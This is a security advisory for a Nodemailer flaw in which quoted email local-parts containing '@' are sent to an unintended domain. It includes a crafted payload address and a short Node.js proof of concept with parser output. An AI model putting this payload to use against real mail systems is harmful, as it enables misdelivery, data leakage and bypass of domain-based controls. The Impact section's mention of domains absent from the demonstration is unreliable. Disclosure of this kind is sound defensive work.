Nodemailer: Email to an unintended domain can occur due to Interpretation Conflict

The email parsing library incorrectly handles quoted local-parts containing @. This leads to misrouting of email recipients, where the parser extracts and routes to an unintended domain instead of the RFC-compliant target.

Payload: "xclow3n@gmail.com x"@internal.domain Using the following code to send mail

const nodemailer = require(&quot;nodemailer&quot;);

let transporter = nodemailer.createTransport({
  service: &quot;gmail&quot;,
  auth: {
    user: &quot;&quot;,
    pass: &quot;&quot;,
  },
});

let mailOptions = {
  from: &#039;&quot;Test Sender&quot; &lt;your_email@gmail.com&gt;&#039;, 
  to: &quot;\&quot;xclow3n@gmail.com x\&quot;@internal.domain&quot;,
  subject: &quot;Hello from Nodemailer&quot;,
  text: &quot;This is a test email sent using Gmail SMTP and Nodemailer!&quot;,
};

transporter.sendMail(mailOptions, (error, info) =&gt; {
  if (error) {
    return console.log(&quot;Error: &quot;, error);
  }
  console.log(&quot;Message sent: %s&quot;, info.messageId);

});


(async () =&gt; {
  const parser = await import(&quot;@sparser/email-address-parser&quot;);
  const { EmailAddress, ParsingOptions } = parser.default;
  const parsed = EmailAddress.parse(mailOptions.to /*, new ParsingOptions(true) */);

  if (!parsed) {
    console.error(&quot;Invalid email address:&quot;, mailOptions.to);
    return;
  }

  console.log(&quot;Parsed email:&quot;, {
    address: `${parsed.localPart}@${parsed.domain}`,
    local: parsed.localPart,
    domain: parsed.domain,
  });
})();

Running the script and seeing how this mail is parsed according to RFC

Parsed email: {
  address: &#039;&quot;xclow3n@gmail.com x&quot;@internal.domain&#039;,
  local: &#039;&quot;xclow3n@gmail.com x&quot;&#039;,
  domain: &#039;internal.domain&#039;
}

But the email is sent to xclow3n@gmail.com

Impact:

Misdelivery / Data leakage: Email is sent to psres.net instead of test.com.
Filter evasion: Logs and anti-spam systems may be bypassed by hiding recipients inside quoted local-parts.
Potential compliance issue: Violates RFC 5321/5322 parsing rules.
Domain based access control bypass in downstream applications using your library to send mails

Recommendations

Fix parser to correctly treat quoted local-parts per RFC 5321/5322.
Add strict validation rejecting local-parts containing embedded @ unless fully compliant with quoting.

Published: Oct 7, 2025
Updated: Oct 8, 2025
GHSA: GHSA-mm7p-fcc7-pg87
Severity: Medium
Exploit:

No technical information available.

CWEs:

Affected Software
References

Software	From	Fixed in
nodemailer	-	7.0.7

Vulnerability Database

Nodemailer: Email to an unintended domain can occur due to Interpretation Conflict

Impact:

Recommendations

Deep Security Visibility Without the Complexity